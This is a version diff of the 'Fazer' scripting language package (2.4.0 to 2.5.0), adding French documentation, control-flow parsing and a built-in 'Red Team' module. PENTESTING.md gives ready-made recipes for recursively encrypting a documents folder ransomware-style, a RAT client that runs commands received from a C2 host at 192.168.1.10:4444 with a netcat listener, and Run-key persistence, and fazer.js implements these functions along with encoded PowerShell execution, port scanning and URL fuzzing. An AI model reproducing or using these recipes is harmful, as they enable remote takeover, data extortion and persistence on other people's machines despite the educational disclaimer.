fazer-lang 2.4.0 → 2.5.0

package/README.md

@@ -39,25 +39,25 @@ Le dossier généré est **portable** : zippez-le et envoyez-le à n'importe qui
 
 ## Documentation
 
-La documentation complète est disponible dans le dossier [`docs/`](./docs/README.md).
+🎓 **[NOUVEAU : Le Guide Ultime (A-Z)](docs/GUIDE.md)** - Commencez ici ! C'est la ressource la plus complète pour apprendre Fazer.
 
-*   [Guide de Démarrage](./docs/getting-started.md)
-*   [Syntaxe du Langage](./docs/syntax.md)
-*   [Bibliothèque Standard (Stdlib)](./docs/stdlib.md)
-*   [Exemples](./docs/examples.md)
+Documentation détaillée par section :
+*   [Guide de Démarrage](docs/getting-started.md)
+*   [Syntaxe du Langage](docs/syntax.md)
+*   [Bibliothèque Standard (Stdlib)](docs/stdlib.md)
+*   [Exemples](docs/examples.md)
 
 ## Fonctionnalités Clés
 
-*   **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs (`window`, `button`, `entry`, etc.).
+*   **GUI Native** : Créez de vraies applications Windows (WinForms) avec widgets natifs.
+*   **Red Team Ready** : Module de sécurité offensive natif (Crypto, Registre, Reverse Shell, Scan).
 *   **Pipe Operator (`->>`)** : Enchaînez les opérations proprement.
 *   **Pattern Matching (`case`)** : Contrôle de flux expressif.
-*   **Sécurité Intégrée** : Chiffrement AES-256-GCM et SHA256 natifs.
+*   **Portable** : Compilation en `.exe` natif avec support d'icônes.
 *   **Réseau & Web** : Client HTTP `fetch`, serveur web `server`, et module `discord`.
-*   **Système de Fichiers** : Manipulation simple et puissante.
-*   **Automation** : Gestion du presse-papier (`clipboard`), notifications (`notify`), et persistance (`db`).
-*   **Extensible** : Système de modules `import`.
+*   **Système** : Manipulation fichiers, processus et presse-papier.
 
 ## Copyright
 
-© 2024 **L'EMPRISE**. Tous droits réservés.
+© 2026 **L'EMPRISE**. Tous droits réservés.
 Distribué sous licence MIT.

package/docs/GUIDE.md

@@ -0,0 +1,249 @@
+# Le Guide Ultime de Fazer (A-Z) - Édition 2.5
+
+Bienvenue dans l'univers de **Fazer**. Ce guide a été conçu pour vous accompagner de vos premières lignes de code jusqu'à la maîtrise des fonctionnalités les plus avancées (Pentest, GUI, Réseau).
+
+Que vous soyez un débutant complet ou un développeur expérimenté, ce manuel est votre référence.
+
+---
+
+## 📚 Table des Matières
+
+1.  [Module 1 : Premiers Pas & Installation](#module-1--premiers-pas--installation)
+2.  [Module 2 : Les Bases du Langage](#module-2--les-bases-du-langage)
+3.  [Module 3 : Contrôle du Flux (Logique)](#module-3--contrôle-du-flux-logique)
+4.  [Module 4 : Fonctions & Organisation](#module-4--fonctions--organisation)
+5.  [Module 5 : Manipulation de Fichiers & Système](#module-5--manipulation-de-fichiers--système)
+6.  [Module 6 : Interfaces Graphiques (GUI)](#module-6--interfaces-graphiques-gui)
+7.  [Module 7 : Réseau & Web](#module-7--réseau--web)
+8.  [Module 8 : Cybersécurité & Red Team](#module-8--cybersécurité--red-team)
+9.  [Annexe : Compiler en .EXE](#annexe--compiler-en-exe)
+
+---
+
+## Module 1 : Premiers Pas & Installation
+
+### C'est quoi Fazer ?
+Fazer est un langage de programmation moderne, simple et puissant. Il est "batteries included", ce qui signifie qu'il contient déjà tout ce qu'il faut pour créer des applications graphiques, des outils réseaux, ou des scripts d'automatisation sans rien installer d'autre.
+
+### Installation
+1.  **Téléchargez** le dossier `fazer-lang`.
+2.  **Exécutez** le script `install_system.ps1` (double-clic).
+3.  C'est tout ! Ouvrez un terminal et tapez `fazer` pour vérifier.
+
+### Votre Premier Script ("Hello World")
+Créez un fichier nommé `hello.fz` :
+
+```fazer
+print("Bienvenue sur Fazer !")
+```
+
+Lancez-le :
+```bash
+fazer hello.fz
+```
+
+---
+
+## Module 2 : Les Bases du Langage
+
+### Variables
+En Fazer, on utilise `:=` pour créer une variable.
+*   Par défaut, une variable ne peut pas changer (elle est **constante**).
+*   Si vous voulez la modifier, utilisez le mot-clé `mut`.
+
+```fazer
+# Constante (ne bougera pas)
+nom := "Fazer"
+
+# Variable (peut changer)
+mut score := 0
+score := score + 10
+print(score) # Affiche 10
+```
+
+### Types de Données
+Fazer gère les types automatiquement :
+*   `"Texte"` (String)
+*   `42` ou `3.14` (Number)
+*   `true` / `false` (Boolean)
+*   `[1, 2, 3]` (List / Tableau)
+*   `{ "nom": "Jean", "age": 20 }` (Map / Objet)
+
+### L'Opérateur Pipe (`->>`)
+C'est la signature de Fazer. Il permet de passer une valeur à la fonction suivante, comme un tuyau.
+
+```fazer
+# Méthode classique
+print(str_upper("bonjour"))
+
+# Méthode Fazer (Pipe)
+"bonjour" ->> str_upper ->> print
+```
+*Lecture : Prends "bonjour", mets-le en majuscules, puis affiche-le.*
+
+---
+
+## Module 3 : Contrôle du Flux (Logique)
+
+### Les Conditions (`if`)
+Fazer utilise des flèches `->` pour délimiter les blocs de code, et `end` pour finir.
+
+```fazer
+age := 18
+
+if age >= 18 ->
+    print("Majeur")
+end
+else ->
+    print("Mineur")
+end
+```
+
+### Les Boucles (`while`)
+Pour répéter une action tant qu'une condition est vraie.
+
+```fazer
+mut i := 0
+
+while i < 5 ->
+    print("Compteur : " + i)
+    i := i + 1
+end
+```
+
+---
+
+## Module 4 : Fonctions & Organisation
+
+### Créer une Fonction
+Une fonction est un bloc de code réutilisable.
+
+```fazer
+fn dire_bonjour(nom) ->
+    msg := "Salut " + nom + " !"
+    return msg
+end
+
+res := dire_bonjour("Alice")
+print(res)
+```
+
+### Fonctions Anonymes (Lambdas)
+Très utiles pour les événements (GUI, Serveurs).
+
+```fazer
+ma_fonction := fn(x) -> x * 2 end
+print(ma_fonction(10)) # 20
+```
+
+---
+
+## Module 5 : Manipulation de Fichiers & Système
+
+Fazer brille pour l'automatisation système.
+
+### Lire et Écrire
+```fazer
+# Écrire
+fs_write("test.txt", "Contenu du fichier")
+
+# Lire
+contenu := fs_read("test.txt")
+print(contenu)
+
+# Vérifier existence
+if fs_exists("test.txt") -> print("Fichier trouvé !") end
+```
+
+### Parcourir des Dossiers (Nouveau 2.5)
+```fazer
+fichiers := walk_dir(".") # Liste récursivement tout le dossier actuel
+print("Fichiers trouvés : " + fichiers.length)
+```
+
+### Exécuter des Commandes Système
+```fazer
+# Lance une commande et récupère la sortie
+ip := exec("ipconfig")
+print(ip)
+```
+
+---
+
+## Module 6 : Interfaces Graphiques (GUI)
+
+Créez des fenêtres Windows natives en quelques lignes.
+
+```fazer
+config := {
+  title: "Ma App Fazer",
+  w: 400, h: 300,
+  icon: "app.ico" # Support des icônes !
+}
+
+# Définition des widgets
+widgets := [
+  { id: "lbl", type: "label", text: "Bienvenue !", x: 10, y: 10, w: 200, h: 30 },
+  { id: "btn", type: "button", text: "Cliquez-moi", x: 10, y: 50, w: 120, h: 40 }
+]
+
+# Gestionnaire d'événements
+fn handler(id, event, data) ->
+  if id == "btn" ->
+    notify("Succès", "Vous avez cliqué !")
+  end
+end
+
+# Lancer la fenêtre
+window(config, widgets, handler)
+```
+
+---
+
+## Module 7 : Réseau & Web
+
+### Serveur Web Express
+Créez un serveur HTTP en une ligne.
+
+```fazer
+fn mon_site(req) ->
+    return "<h1>Site propulsé par Fazer</h1>"
+end
+
+# Écoute sur le port 8080
+http_server(8080, mon_site)
+```
+
+### Client HTTP
+```fazer
+page := fetch("https://google.com")
+print(page.status)
+```
+
+---
+
+## Module 8 : Cybersécurité & Red Team
+
+**Nouveauté 2.5** : Fazer intègre des outils natifs pour le Pentest et la simulation d'attaques (autorisées).
+
+> ⚠️ **AVERTISSEMENT** : Usage éducatif et autorisé uniquement.
+
+### Fonctionnalités Clés
+*   **Chiffrement** : `encrypt_file("secret.txt", "clé")` (AES-256)
+*   **Registre Windows** : `registry_set`, `registry_get` (Persistance)
+*   **Reverse Shell** : `tcp_connect` (Client TCP brut)
+*   **Fond d'écran** : `set_wallpaper("hacked.jpg")`
+
+*Pour un guide détaillé sur ces fonctions, consultez le fichier `PENTESTING.md`.*
+
+---
+
+## Annexe : Compiler en .EXE
+
+Transformez n'importe quel script `.fz` en un exécutable Windows autonome `.exe` que vous pouvez partager.
+
+```bash
+fazer build mon_script.fz
+```
+
+L'exécutable sera généré dans le dossier `dist/`. Il contient tout le nécessaire pour fonctionner sans installer Fazer sur la machine cible.

package/docs/PENTESTING.md

@@ -0,0 +1,74 @@
+# Guide de Développement Pentest & Red Team avec Fazer
+
+> **AVERTISSEMENT** : Ce module est destiné à des fins éducatives et de test de sécurité autorisé uniquement. L'auteur décline toute responsabilité en cas d'utilisation malveillante.
+
+Fazer intègre des fonctionnalités natives puissantes permettant de développer des outils de sécurité offensive (Red Team), de simulation de malware (Ransomware, RAT) et d'administration système avancée.
+
+## 1. Simulation de Ransomware (Crypto)
+
+Fazer utilise le chiffrement **AES-256-CBC** pour sécuriser les fichiers.
+
+### API
+*   `encrypt_file(path, key)` : Chiffre un fichier. Génère un fichier `.enc` avec l'IV préfixé.
+*   `decrypt_file(path, key)` : Déchiffre un fichier `.enc`.
+*   `walk_dir(path)` : Liste récursivement tous les fichiers d'un dossier.
+
+### Exemple
+```fazer
+key := "MA_CLE_SECURE_256_BITS"
+files := walk_dir("C:\\Documents\\Confidentiel")
+
+# Chiffrer tout
+i := 0
+while i < files.length ->
+    encrypt_file(files[i], key)
+    i := i + 1
+end
+```
+
+## 2. Remote Access Trojan (RAT) / Reverse Shell
+
+Vous pouvez créer des clients TCP capables de recevoir des commandes distantes et d'exécuter du code.
+
+### API
+*   `tcp_connect(host, port, handler)` : Se connecte à un serveur C2 (Command & Control).
+    *   `handler` : Une fonction qui reçoit les données brutes (commandes).
+    *   Retourne un objet client avec `.send(data)` et `.close()`.
+
+### Exemple (Client)
+```fazer
+fn on_data(cmd) ->
+    # Exécuter la commande reçue dans le shell système
+    result := exec(cmd)
+    return result
+end
+
+client := tcp_connect("192.168.1.10", 4444, on_data)
+client.send("Bot connecté !\n")
+```
+
+Pour tester, lancez un listener Netcat sur votre machine attaquante : `nc -lvp 4444`.
+
+## 3. Persistance et Registre (Windows)
+
+Manipulez le registre Windows pour assurer la persistance de vos outils au démarrage.
+
+### API
+*   `registry_get(key, name)` : Lit une valeur du registre.
+*   `registry_set(key, name, value)` : Écrit une valeur (String).
+
+### Exemple (Run Key)
+```fazer
+key := "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
+registry_set(key, "MonMalware", "C:\\Chemin\\vers\\app.exe")
+```
+
+## 4. Pranks & Divers
+
+*   `set_wallpaper(path)` : Change le fond d'écran (Windows uniquement).
+*   `screenshot(path)` : Prend une capture d'écran.
+
+```fazer
+set_wallpaper("C:\\hacked.jpg")
+screenshot("capture.png")
+```

package/docs/README.md

@@ -4,6 +4,9 @@ Bienvenue dans la documentation officielle du langage **Fazer**.
 
 ## Table des Matières
 
+0.  **[NOUVEAU : Le Guide Ultime (A-Z)](./GUIDE.md)**
+    *   Le point de départ idéal pour tout apprendre d'un coup.
+
 1.  **[Guide de Démarrage](./getting-started.md)**
     *   Installation
     *   Votre premier script

package/fazer.js

@@ -26,11 +26,15 @@ const Arrow = createToken({ name: "Arrow", pattern: /->|→/ });
 const DoublePipe = createToken({ name: "DoublePipe", pattern: /->>|\|>|→>/ });
 
 const Case = createToken({ name: "Case", pattern: /case\b/ });
+const If = createToken({ name: "If", pattern: /if\b/ });
 const Else = createToken({ name: "Else", pattern: /else\b/ });
 const End = createToken({ name: "End", pattern: /end\b/ });
 
 const Fn = createToken({ name: "Fn", pattern: /fn\b/ });
 const Return = createToken({ name: "Return", pattern: /return\b/ });
+const While = createToken({ name: "While", pattern: /while\b/ });
+const Try = createToken({ name: "Try", pattern: /try\b/ });
+const Catch = createToken({ name: "Catch", pattern: /catch\b/ });
 const Mut = createToken({ name: "Mut", pattern: /mut\b/ });
 
 const True = createToken({ name: "True", pattern: /true\b/ });
@@ -87,11 +91,15 @@ const allTokens = [
   Arrow,
 
   Case,
+  If,
   Else,
   End,
 
   Fn,
   Return,
+  While,
+  Try,
+  Catch,
   Mut,
 
   True,
@@ -158,6 +166,9 @@ class FazerParser extends EmbeddedActionsParser {
       $.OR([
         { ALT: () => $.SUBRULE($.fnDef) },
         { ALT: () => $.SUBRULE($.returnStmt) },
+        { ALT: () => $.SUBRULE($.ifStmt) },
+        { ALT: () => $.SUBRULE($.whileStmt) },
+        { ALT: () => $.SUBRULE($.tryStmt) },
         {
           GATE: () => {
             const t1 = $.LA(1).tokenType;
@@ -196,6 +207,39 @@ class FazerParser extends EmbeddedActionsParser {
       return node("return", { value: value ?? node("null", {}), loc: locOf(tok) });
     });
 
+    $.RULE("ifStmt", () => {
+      const tok = $.CONSUME(If);
+      const expr = $.SUBRULE($.expression);
+      $.CONSUME(Arrow);
+      const thenBlock = $.SUBRULE($.block);
+      let elseBlock = null;
+      $.OPTION(() => {
+        $.CONSUME(Else);
+        $.CONSUME2(Arrow);
+        elseBlock = $.SUBRULE2($.block);
+      });
+      return node("if", { expr, thenBlock, elseBlock, loc: locOf(tok) });
+    });
+
+    $.RULE("whileStmt", () => {
+      const tok = $.CONSUME(While);
+      const expr = $.SUBRULE($.expression);
+      $.CONSUME(Arrow);
+      const body = $.SUBRULE($.block);
+      return node("while", { expr, body, loc: locOf(tok) });
+    });
+
+    $.RULE("tryStmt", () => {
+      const tok = $.CONSUME(Try);
+      $.CONSUME(Arrow);
+      const tryBlock = $.SUBRULE($.block);
+      $.CONSUME(Catch);
+      const errVar = $.CONSUME(Identifier).image;
+      $.CONSUME2(Arrow);
+      const catchBlock = $.SUBRULE2($.block);
+      return node("try", { tryBlock, catchBlock, errVar, loc: locOf(tok) });
+    });
+
     $.RULE("assignStmt", () => {
       const mutTok = $.OPTION(() => $.CONSUME(Mut));
       const idTok = $.CONSUME(Identifier);
@@ -1145,6 +1189,28 @@ class FazerRuntime {
           this.native_ui_state.widgets.push({ type: 'widget', cls: 'TextBox', id, text, x, y, w, h });
           return id;
       },
+
+      textarea: (id, text, x, y, w, h) => {
+          this.native_ui_state.widgets.push({ type: 'widget', cls: 'RichTextBox', id, text, x, y, w, h });
+          return id;
+      },
+      
+      checkbox: (id, text, x, y, w, h) => {
+          this.native_ui_state.widgets.push({ type: 'widget', cls: 'CheckBox', id, text, x, y, w, h });
+          return id;
+      },
+      
+      progress: (id, val, x, y, w, h) => {
+          this.native_ui_state.widgets.push({ type: 'widget', cls: 'ProgressBar', id, text: val, x, y, w, h });
+          return id;
+      },
+      
+      combo: (id, items, x, y, w, h) => {
+          // items should be comma separated string or list (handled in UI gen)
+          const itemList = Array.isArray(items) ? items.join(",") : String(items);
+          this.native_ui_state.widgets.push({ type: 'widget', cls: 'ComboBox', id, text: itemList, x, y, w, h });
+          return id;
+      },
       
       set_text: (id, val) => {
           if (!this.native_ui_state.updates.set_text) this.native_ui_state.updates.set_text = {};
@@ -1243,15 +1309,31 @@ class FazerRuntime {
      
          for (const w of widgets) {
              if (w.type === 'window') continue;
+             let extra = "";
+             let textProp = `$${w.id}.Text = "${w.text}"`;
+             
+             if (w.cls === "ComboBox") {
+                 const items = String(w.text).split(",");
+                 extra = `$${w.id}.DropDownStyle = "DropDownList"\n`;
+                 items.forEach(i => {
+                    extra += `$${w.id}.Items.Add("${i.trim()}")\n`;
+                 });
+                 if(items.length > 0) extra += `$${w.id}.SelectedIndex = 0\n`;
+                 textProp = ""; 
+             } else if (w.cls === "ProgressBar") {
+                 textProp = `$${w.id}.Value = ${Number(w.text) || 0}`;
+             }
+
              ps += `
              $${w.id} = New-Object System.Windows.Forms.${w.cls}
              $${w.id}.Name = "${w.id}"
-             $${w.id}.Text = "${w.text}"
+             ${textProp}
              $${w.id}.Left = ${w.x}
              $${w.id}.Top = ${w.y}
              $${w.id}.Width = ${w.w}
              $${w.id}.Height = ${w.h}
              $${w.id}.Font = New-Object System.Drawing.Font("Segoe UI", 10)
+             ${extra}
              `;
              
              if (w.cls === 'Button') {
@@ -1261,13 +1343,25 @@ class FazerRuntime {
                 $${w.id}.FlatAppearance.BorderSize = 0
                 $${w.id}.Add_Click({ Send-Event "${w.id}" "click" "" })
                 `;
-            } else if (w.cls === 'TextBox') {
+            } else if (w.cls === 'TextBox' || w.cls === 'RichTextBox') {
                  ps += `
                  $${w.id}.BorderStyle = "FixedSingle"
                  $${w.id}.BackColor = [System.Drawing.Color]::FromArgb(50, 50, 50)
                  $${w.id}.ForeColor = [System.Drawing.Color]::White
                  $${w.id}.Add_TextChanged({ Send-Event "${w.id}" "change" $this.Text })
                  `;
+            } else if (w.cls === 'CheckBox') {
+                 ps += `
+                 $${w.id}.ForeColor = [System.Drawing.Color]::White
+                 $${w.id}.Add_CheckedChanged({ Send-Event "${w.id}" "change" $this.Checked })
+                 `;
+            } else if (w.cls === 'ComboBox') {
+                 ps += `
+                 $${w.id}.BackColor = [System.Drawing.Color]::FromArgb(50, 50, 50)
+                 $${w.id}.ForeColor = [System.Drawing.Color]::White
+                 $${w.id}.FlatStyle = "Flat"
+                 $${w.id}.Add_SelectedIndexChanged({ Send-Event "${w.id}" "change" $this.SelectedItem })
+                 `;
             }
              
              ps += `$form.Controls.Add($${w.id})\n`;
@@ -1289,6 +1383,12 @@ class FazerRuntime {
       cwd: cwdFn,
       input: (p) => builtins.ask(p),
       nowMs: () => Date.now(),
+      sleep: async (ms) => new Promise(r => setTimeout(r, Number(ms))),
+      exec: (cmd) => {
+          try {
+              return require('child_process').execSync(String(cmd)).toString();
+          } catch(e) { return "Error: " + e.message; }
+      },
       
       // --- EXTENDED FEATURES (Automation, State, DB) ---
       
@@ -1406,6 +1506,377 @@ class FazerRuntime {
       round: (n) => Math.round(Number(n)),
       floor: (n) => Math.floor(Number(n)),
       ceil: (n) => Math.ceil(Number(n)),
+      
+      fetch: async (url, opts = {}) => {
+         const http_req = builtins.http_req;
+         return await http_req(url, opts);
+      },
+
+      // OSINT
+      whois: async (domain) => {
+         // Basic native TCP whois
+         return new Promise((resolve) => {
+             const net = require("net");
+             const socket = new net.Socket();
+             let data = "";
+             socket.setTimeout(5000);
+             socket.connect(43, "whois.iana.org", () => {
+                 socket.write(String(domain) + "\r\n");
+             });
+             socket.on('data', (chunk) => data += chunk.toString());
+             socket.on('end', () => {
+                 // Try to follow referral if present (simple one-level redirection)
+                 const match = data.match(/refer:\s*([a-zA-Z0-9.-]+)/i);
+                 if (match && match[1] && match[1] !== "whois.iana.org") {
+                     // Query the referral
+                     const refHost = match[1];
+                     const s2 = new net.Socket();
+                     let d2 = "";
+                     s2.setTimeout(5000);
+                     s2.connect(43, refHost, () => {
+                         s2.write(String(domain) + "\r\n");
+                     });
+                     s2.on('data', (c) => d2 += c.toString());
+                     s2.on('end', () => resolve(d2));
+                     s2.on('error', () => resolve(data)); // Return IANA data if ref fails
+                 } else {
+                     resolve(data);
+                 }
+             });
+             socket.on('error', () => resolve("Error: Connection failed"));
+             socket.on('timeout', () => { socket.destroy(); resolve("Error: Timeout"); });
+         });
+      },
+      geoip: async (ip) => {
+         // Using free IP-API (no key required for limited usage)
+         try {
+             const res = await builtins.http_req("http://ip-api.com/json/" + String(ip));
+             return builtins.json_parse(res.body);
+         } catch(e) { return null; }
+      },
+      html_extract: (html, tag) => {
+         // Simple regex extraction (not a full DOM parser, but useful for lightweight scraping)
+         // Usage: html_extract(source, "title") -> content
+         const t = String(tag);
+         const regex = new RegExp(`<${t}[^>]*>(.*?)</${t}>`, "gis");
+         const matches = [];
+         let m;
+         while ((m = regex.exec(String(html))) !== null) {
+             matches.push(m[1]);
+         }
+         return matches;
+      },
+
+      // System Advanced
+      ps_list: () => {
+         try {
+             if (process.platform === 'win32') {
+                 // CSV format: "Image Name","PID","Session Name","Session#","Mem Usage"
+                 const out = require('child_process').execSync('tasklist /FO CSV /NH').toString();
+                 const lines = out.split('\r\n').filter(l => l.trim() !== "");
+                 return lines.map(l => {
+                     const parts = l.split('","').map(p => p.replace(/"/g, ''));
+                     return { name: parts[0], pid: parts[1], mem: parts[4] };
+                 });
+             } else {
+                 // Linux/Mac ps -A -o comm,pid,rss
+                 const out = require('child_process').execSync('ps -A -o comm,pid,rss').toString();
+                 const lines = out.split('\n').slice(1).filter(l => l.trim() !== "");
+                 return lines.map(l => {
+                     const parts = l.trim().split(/\s+/);
+                     return { name: parts[0], pid: parts[1], mem: parts[2] };
+                 });
+             }
+         } catch(e) { return []; }
+      },
+      kill: (pid) => {
+         try {
+             process.kill(Number(pid));
+             return true;
+         } catch(e) { return false; }
+      },
+      screenshot: async (file) => {
+          if (process.platform === 'win32') {
+              const p = require('path').resolve(String(file));
+              const ps = `
+              Add-Type -AssemblyName System.Windows.Forms
+              Add-Type -AssemblyName System.Drawing
+              $s = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
+              $b = New-Object System.Drawing.Bitmap $s.Width, $s.Height
+              $g = [System.Drawing.Graphics]::FromImage($b)
+              $g.CopyFromScreen($s.Location, [System.Drawing.Point]::Empty, $s.Size)
+              $b.Save('${p}', [System.Drawing.Imaging.ImageFormat]::Png)
+              $g.Dispose()
+              $b.Dispose()
+              `;
+              try {
+                  const b64 = Buffer.from(ps, 'utf16le').toString('base64');
+                  require('child_process').execSync(`powershell -EncodedCommand ${b64}`);
+                  return true;
+              } catch(e) { return false; }
+          }
+          return false;
+      },
+
+      // Network Advanced
+      tcp_listen: (port, handler) => {
+          // A simple TCP server (like netcat -l)
+          // Handler receives: (data, socket_id)
+          // Returns server object with .close()
+          const net = require("net");
+          const srv = net.createServer((socket) => {
+              const id = Math.random().toString(36).substr(2, 9);
+              socket.on('data', async (data) => {
+                  if (typeof handler === "object" && handler.__fnref__) {
+                      // Call Fazer function: fn(data_str, id) -> response_str (optional)
+                      const res = await this._call(handler, [data.toString(), id], this.global);
+                      if (res) socket.write(String(res));
+                  }
+              });
+          });
+          srv.listen(Number(port));
+          return {
+              close: () => srv.close(),
+              // We can't easily expose sending to specific socket without more complex state
+              // This is a basic "echo/response" listener
+          };
+      },
+      fuzz_url: async (url, wordlist) => {
+          // wordlist is a list of strings
+          // Returns list of { path, status } for 200/301/403
+          if (!Array.isArray(wordlist)) return [];
+          const results = [];
+          const u = String(url).endsWith('/') ? String(url) : String(url) + '/';
+          
+          // Limit concurrency to 10
+          const chunks = [];
+          const chunkSize = 10;
+          for (let i = 0; i < wordlist.length; i += chunkSize) {
+              chunks.push(wordlist.slice(i, i + chunkSize));
+          }
+
+          for (const chunk of chunks) {
+              await Promise.all(chunk.map(async (word) => {
+                  const target = u + word;
+                  try {
+                      const res = await builtins.http_req(target, { method: "HEAD", timeout: 2000 });
+                      if (res.status !== 404) {
+                          results.push({ path: word, status: res.status });
+                      }
+                  } catch(e) {}
+              }));
+          }
+          return results;
+      },
+
+      // Cyber / Net / Pentest
+      scan_port: async (host, port) => {
+         const net = require("net");
+         return new Promise((resolve) => {
+             const socket = new net.Socket();
+             socket.setTimeout(2000);
+             socket.on('connect', () => { socket.destroy(); resolve(true); });
+             socket.on('timeout', () => { socket.destroy(); resolve(false); });
+             socket.on('error', () => { resolve(false); });
+             socket.connect(Number(port), String(host));
+         });
+      },
+      dns_resolve: async (domain) => {
+         const dns = require("dns").promises;
+         try { const res = await dns.lookup(String(domain)); return res.address; } catch(e) { return null; }
+      },
+      dns_resolve_all: async (domain) => {
+         const dns = require("dns").promises;
+         try { const res = await dns.resolve4(String(domain)); return res; } catch(e) { return []; }
+      },
+      md5: (s) => crypto.createHash('md5').update(String(s)).digest('hex'),
+      sha1: (s) => crypto.createHash('sha1').update(String(s)).digest('hex'),
+      sha256: (s) => crypto.createHash('sha256').update(String(s)).digest('hex'),
+      
+      // Crypto & Encoding
+      base64_encode: (s) => Buffer.from(String(s)).toString('base64'),
+      base64_decode: (s) => Buffer.from(String(s), 'base64').toString('utf8'),
+      aes_encrypt: (text, key) => {
+          const k = crypto.createHash('sha256').update(String(key)).digest();
+          const iv = crypto.randomBytes(16);
+          const cipher = crypto.createCipheriv('aes-256-cbc', k, iv);
+          let encrypted = cipher.update(String(text));
+          encrypted = Buffer.concat([encrypted, cipher.final()]);
+          return iv.toString('hex') + ':' + encrypted.toString('hex');
+      },
+      aes_decrypt: (text, key) => {
+          try {
+             const parts = String(text).split(':');
+             const iv = Buffer.from(parts.shift(), 'hex');
+             const encryptedText = Buffer.from(parts.join(':'), 'hex');
+             const k = crypto.createHash('sha256').update(String(key)).digest();
+             const decipher = crypto.createDecipheriv('aes-256-cbc', k, iv);
+             let decrypted = decipher.update(encryptedText);
+             decrypted = Buffer.concat([decrypted, decipher.final()]);
+             return decrypted.toString();
+          } catch(e) { return null; }
+      },
+
+      http_req: async (url, opts = {}) => {
+          // More advanced version of fetch for pentesting
+          // opts: { method, headers, body, timeout }
+          const u = new URL(url);
+          const lib = u.protocol === 'https:' ? require('https') : require('http');
+          return new Promise((resolve) => {
+              const req = lib.request(url, {
+                  method: opts.method || 'GET',
+                  headers: opts.headers || {},
+                  timeout: opts.timeout || 5000
+              }, (res) => {
+                  const chunks = [];
+                  res.on('data', c => chunks.push(c));
+                  res.on('end', () => {
+                      const buf = Buffer.concat(chunks);
+                      resolve({
+                          status: res.statusCode,
+                          headers: res.headers,
+                          body: buf.toString(),
+                          raw: buf.toString('base64')
+                      });
+                  });
+              });
+              req.on('error', (e) => resolve({ error: e.message }));
+              req.on('timeout', () => { req.destroy(); resolve({ error: 'timeout' }); });
+              if (opts.body) req.write(String(opts.body));
+              req.end();
+          });
+      },
+
+      // --- Red Team / Malware Dev Simulation (Educational) ---
+      
+      walk_dir: (dir) => {
+          // Recursive directory listing
+          const fs = require('fs');
+          const path = require('path');
+          let results = [];
+          const list = (d) => {
+              try {
+                  const files = fs.readdirSync(d);
+                  files.forEach(file => {
+                      const full = path.join(d, file);
+                      try {
+                          const stat = fs.statSync(full);
+                          if (stat && stat.isDirectory()) {
+                              list(full);
+                          } else {
+                              results.push(full);
+                          }
+                      } catch(e) {}
+                  });
+              } catch(e) {}
+          };
+          list(path.resolve(String(dir)));
+          return results;
+      },
+
+      encrypt_file: async (file, key) => {
+          // AES-256-CBC Stream Encryption
+          const fs = require('fs');
+          const crypto = require('crypto');
+          return new Promise((resolve) => {
+              try {
+                  const k = crypto.createHash('sha256').update(String(key)).digest();
+                  const iv = crypto.randomBytes(16);
+                  const cipher = crypto.createCipheriv('aes-256-cbc', k, iv);
+                  const input = fs.createReadStream(String(file));
+                  const output = fs.createWriteStream(String(file) + ".enc");
+                  
+                  output.write(iv); // Prepend IV
+                  input.pipe(cipher).pipe(output);
+                  
+                  output.on('finish', () => resolve(true));
+                  output.on('error', () => resolve(false));
+              } catch(e) { resolve(false); }
+          });
+      },
+
+      decrypt_file: async (file, key) => {
+          // AES-256-CBC Stream Decryption
+          const fs = require('fs');
+          const crypto = require('crypto');
+          return new Promise((resolve) => {
+              try {
+                  const fd = fs.openSync(String(file), 'r');
+                  const iv = Buffer.alloc(16);
+                  fs.readSync(fd, iv, 0, 16, 0);
+                  fs.closeSync(fd);
+                  
+                  const k = crypto.createHash('sha256').update(String(key)).digest();
+                  const decipher = crypto.createDecipheriv('aes-256-cbc', k, iv);
+                  
+                  const input = fs.createReadStream(String(file), { start: 16 }); // Skip IV
+                  const outFile = String(file).replace(/\.enc$/, "");
+                  const finalPath = outFile === String(file) ? String(file) + ".dec" : outFile;
+                  const output = fs.createWriteStream(finalPath);
+                  
+                  input.pipe(decipher).pipe(output);
+                  
+                  output.on('finish', () => resolve(true));
+                  output.on('error', () => resolve(false));
+              } catch(e) { resolve(false); }
+          });
+      },
+
+      registry_get: (key, name) => {
+          if (process.platform !== 'win32') return null;
+          try {
+              const out = require('child_process').execSync(`reg query "${String(key)}" /v "${String(name)}"`).toString();
+              const match = out.match(/REG_\w+\s+(.*)/);
+              return match ? match[1].trim() : null;
+          } catch(e) { return null; }
+      },
+
+      registry_set: (key, name, val) => {
+          if (process.platform !== 'win32') return false;
+          try {
+              require('child_process').execSync(`reg add "${String(key)}" /v "${String(name)}" /t REG_SZ /d "${String(val)}" /f`);
+              return true;
+          } catch(e) { return false; }
+      },
+
+      set_wallpaper: (path) => {
+          if (process.platform !== 'win32') return false;
+          const p = require('path').resolve(String(path));
+          const ps = `
+          $code = @'
+          using System.Runtime.InteropServices;
+          public class Wallpaper {
+             [DllImport("user32.dll", CharSet=CharSet.Auto)]
+             public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
+          }
+          '@
+          Add-Type $code
+          [Wallpaper]::SystemParametersInfo(20, 0, "${p}", 3)
+          `;
+          try {
+             const b64 = Buffer.from(ps, 'utf16le').toString('base64');
+             require('child_process').execSync(`powershell -EncodedCommand ${b64}`);
+             return true;
+          } catch(e) { return false; }
+      },
+
+      tcp_connect: (host, port, handler) => {
+          // Reverse Shell / Client
+          const net = require("net");
+          const client = new net.Socket();
+          client.connect(Number(port), String(host));
+          
+          client.on('data', async (data) => {
+             if (handler && typeof handler === 'object' && handler.__fnref__) {
+                 await this._call(handler, [data.toString()], this.global);
+             }
+          });
+          
+          return {
+              send: (d) => { try { client.write(String(d)); return true; } catch(e){ return false; } },
+              close: () => { client.destroy(); return true; }
+          };
+      },
     };
 
     this.global.set("__builtins__", builtins, false);
@@ -1435,7 +1906,7 @@ class FazerRuntime {
     switch (stmt.type) {
       case "assign": {
         const val = await this._eval(stmt.value, scope);
-        if (scope.hasHere(stmt.name)) {
+        if (scope.get(stmt.name)) {
           scope.assign(stmt.name, val);
         } else {
           scope.set(stmt.name, val, stmt.mut);
@@ -1456,6 +1927,50 @@ class FazerRuntime {
         return new ReturnSignal(v);
       }
 
+      case "if": {
+        const cond = await this._eval(stmt.expr, scope);
+        if (truthy(cond)) {
+          const inner = new Scope(scope);
